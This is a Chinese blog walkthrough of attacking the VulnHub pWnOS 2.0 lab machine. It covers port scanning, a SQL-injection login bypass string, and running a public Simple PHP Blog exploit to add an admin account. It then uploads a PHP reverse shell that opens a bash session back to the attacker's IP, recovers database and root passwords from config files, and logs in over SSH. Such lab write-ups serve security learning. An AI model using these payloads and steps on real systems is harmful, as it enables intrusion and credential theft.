红队打靶:pWnOS2.0打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描

第二步:web渗透

第三步:cms漏洞利用/文件上传漏洞利用

第四步:敏感文件获取 

第五步:ssh登录与提权

总结与思考

写在开头

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于SQL注入、searchsploit漏洞利用、不安全的文件上传、敏感信息搜索等。完整打靶思路详见:

「红队笔记」靶机精讲:pWnOS2.0 - 简洁明快的攻击链,php+mysql架构cms渗透的样本。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见: 

pWnOS: 2.0 (Pre-Release) ~ VulnHub 

 下载链接见:

http://pwnos.com/files/pWnOS_v2.0.7z

 下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。

 将靶机用VMware打开后,如下图:

 第一步:主机发现与端口扫描

常规思路,有关主机发现和端口扫描的命令详见我的这篇博客:

渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)

ip a查看kali攻击机的ip,是10.10.10.128,然后开始进行主机发现,对所在网段进行主机发现,命令如下:

nmap -sn 10.10.10.0/24

 成功发现了主机,是10.10.10.100,然后进行全端口扫描:

nmap --min-rate 10000 -p- 10.10.10.100

 仅仅开放了22和80端口,我们具体查看版本:

nmap -sT -sV -O -p22,80 10.10.10.100 

 可以看到是个乌班图的linux靶机。然后进行UDP扫描,命令如下:

nmap -sU --min-rate 10000 -p- 10.10.10.100

没扫除啥结果,最后进行漏洞扫描,命令如下:

nmap --script=vuln -p22,80 10.10.10.100

 扫出来80端口还有点东西,看到了一些目录,至于csrf,较难利用,我们先往后放一放。

第二步:web渗透

靶机只开放了22和80端口,我们的思路肯定是从80端口入手,寻找ssh登录的凭据。浏览器访问靶机ip:10.10.10.100,如下:

 随便点点,右侧菜单栏有三个栏目,点击Login试试:

可能这里是一个登录的入口,可以通过Register注册账号,然后登录,这里我们先简单浏览一下,暂时不去注册账号。看到这种登录框可以试试sql注入,使用万能密码尝试登录:

' or 1=1 #

 如上图,貌似是登录成功了,说明确实存在注入,但遗憾的是并没有任何回显,可能是做了过滤。其实这里我们可以sqlmap进行POST型注入的一把梭,具体方法可见

渗透测试:详解sqlmap进行POST注入、基于insert的注入(以vulnhub靶机LampSecurity:CTF7为例)

 本文就不采用这种方法了,可能会在下一篇博客进行详解。既然我们不在这里进行SQL注入,还得找其他的路径。我们可以进行目录爆破,也可以在刚才nmap的漏洞扫描结果中查找目录,很容易就发现一个blog目录:

 看到这个界面应该有所警觉,这个页面的风格很可能是一个内容管理系统cms

第三步:cms漏洞利用/文件上传漏洞利用

我们已经发现了/blog/页面,很可能用了cms,我们可以尝试看看这个cms有没有漏洞,于是先应该找到cms的名称,可以F12查看源代码:

 勾选Wrap Long Lines更方便查看,可以发现在一个title属性中有PHP Blog 0.4.0,这应该就是cms的名称了。可以Google搜索一下验证,我感觉也可以用whatweb识别cms,如下:

whatweb http://10.10.10.100/blog/

 然后用searchsploit搜索PHP Blog 0.4.0有没有可利用的poc:

searchsploit Simple PHP Blog 0.4.0 

 一个一个试试吧,先把这个1191.pl搞下来:

searchsploit Simple PHP Blog 0.4.0 -m 1191.pl

 这是个perl脚本,我们查看一下,看看有使用方法:

 脚本中的注释给了一些参数的使用方法,可知-h添加主机,-e进行利用,不同的序号给出了不同的利用方式。我们先试试Examples中给出的 -e 2,命令如下:

perl 1191.pl -h http://10.10.10.100/blog -e 2 

 插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。

sudo apt install libswitch-perl

漏洞利用的显示如下,拿到了一个用户名和密码的哈希$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/

 然而这个哈希识别出来是加了盐的md5,没啥办法破解,那我们就尝试使用其他方法,可以使用-e 3添加一个用户名和密码,我这里添加的用户名和密码都是frank,脚本参数如下:

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U frank -P frank

 如上图,这样就成功了,那我们是否可以用我们设置的用户名和密码登录cms的后台呢,试一试。回到blog页面,选择右侧边栏的Login,进入登录界面,输入我们之前设置的凭据,用户名和密码均为frank,点击submit。

 登录成功!

 后台已经登录成功了,下一步就是寻找代码文件上传和可写入代码的位置,经过一系列的寻找,在右下角的Menu菜单中有Upload Image模块,可以进行文件上传,如下图:

 这里是否存在文件上传漏洞呢,我们上传个php的shell即可,用于执行反弹shell命令(kali的ip是10.10.10.128,用于接收shell的端口是1234),shell.php代码如下:

<?php exex("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

 尝试上传,貌似上传成功了(果然存在文件上传漏洞,后台没有对前端上传的文件进行校验),我们现在需要寻找shell.php的上传位置,企图触发代码执行,可以通过dirb进行目录爆破,也可以通过Image进行猜测,发现路径是在http://10.10.10.100/blog/images/

 现在我们只要点击shell.php应该就能够触发代码执行了,在此之前,先另起一个kali的终端,nc监听1234端口

nc -lvnp 1234

 然后回到/blog/image/页面,点击shell.php(或直接访问/blog/image/shell.php),成功代码执行,刚才开启监听的1234端口接收到了反弹shell。 

第四步:敏感文件获取 

 已经拿到初始的shell了,接下来就是想办法提取,刚刚拿到shell,先用常规命令看看系统的情况:

 当前是在我们上传的image目录下,然后我们应该运行sudo -l查看当前账号的权限:

 看来shell交互性比较差,我们先用python获得交互性更好的shell:

python -c "import pty;pty.spawn('/bin/bash')"

 执行完这个python语句后,可以sudo -l了,然而我们不知道shell的密码,所以还得寻找其他的方法。再看一下/etc/passwd

 重点关注有bash的账号,发现一个名为dan的账号。接下来我们继续寻找,在web目录/var/www/中,我们发现了一个配置文件mysqli_connect.php,很可能这就是数据库连接的配置文件,我们查看一下:

 我们已经找到了敏感信息,数据库的登录账号和密码,接下来我们尝试用密码goodday登录MySQL的root账号:

 登录失败了,看来密码是不对的。这就奇怪了,我们已经找到了一个明显的数据库配置文件mysqli_connect.php,密码竟然不对,这时候就想到,有可能这个文件的配置已经过时了,存在其他的mysqli_connect.php文件,覆盖了这个文件。于是我们在根目录/搜索mysqli_connect.php,看看有没有其他的名为mysqli_connect.php的文件:

find / -name 'mysqli_connect.php' 2>/dev/null

其中2>/dev/null表示将报错信息丢掉,结果如下:

 在/var目录下也有一个mysqli_connect.php,我们查看一下:

 这回又得到了另外一个登录密码root@ISIntS,这回我们尝试登录MySQL,成功了!

mysql -u root -p
root@ISIntS

查看数据库,发现有一个比较关键的ch16:

 查看ch16中的表名,只有一个users表,查看表中的内容,只有一行数据:

 可以看到相关信息如下:

first_name Dan
last_name Privett
email [email protected]
pass c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
user_level 0

 这里可能比较关键的就是密码了,应该是某种加密方式,用hash-identifier看看是什么加密:

 应该是SHA-1,因此我们找个可以破解SHA-1的在线网站Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online,查看这个哈希的明文:

 喜提明文killerbeesareflying,这很可能是ssh登录的一个密码,刚才我们看来/etc/passwd,其中有bash的账号只有root和dan,我们可以进行尝试。

第五步:ssh登录与提权

 尝试用户名为root和dan,密码为killerbeesareflying登录22端口的ssh,居然都无法登录!

 此处可以尝试密码碰撞(脑洞),试试数据库的登录密码root@ISIntS和goodday,结果发现可以用用户名root,密码root@ISIntS登录成功!

 直接一键root,提权都省了。确实有点巧合,数据库的密码就是ssh登录的密码,而我们辛辛苦苦登录数据库找到的密码确没啥用,不过这也是渗透中常常出现的情况吧。至此打靶完成。

总结与思考

 这篇打靶就完成了,感觉思路还算比较清晰,唯一感觉略有点运气的地方就是尝试ssh登录,辛辛苦苦登录数据库找到的用户和密码竟然没有用,而数据库的登录密码就是ssh登录的密码,这一点有些巧合,但也说明运维人员和后台管理员完全有可能为了图方便而将数据库与ssh的密码设置为相同,警醒我们要有安全意识,不要多个账号都设置相同的密码从渗透的角度来讲,也起始我们可以进行密码碰撞。当然,在我们发现sql注入点的地方,也可以进行post注入,上传shell等,可以手工注入也可以sqlmap一把梭,都不用登录数据库账号了(虽然最后发现登录了也没啥用)。大家可以尝试其他的打靶思路。最后做一个打靶总结:

1.主机发现与端口扫描:仅仅开放了22和80端口,我们从80进入。

2.web渗透:发现blog目录的cms,成功searchsploit漏洞利用登录了cms后台。

3.寻找文件上传/代码写入的位置:成功上传了shell并触发反弹shell代码执行。

4.取得初始shell后,查找敏感信息,发现了数据库登录账号,成功登录,拿到一个密码。

5.ssh登录,第4步拿到的密码无法登录,尝试密码碰撞,用数据库的密码成功root登录,提权都免了。

  这篇打靶就完成了,以后会继续坚持打靶,学习网安知识并分享。希望读者多多点赞支持!下一篇我有可能继续总结有关渗透测试的内容,打算试试可否udf提权。如有问题欢迎评论区讨论,我一定知无不言。 

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131415257
今日推荐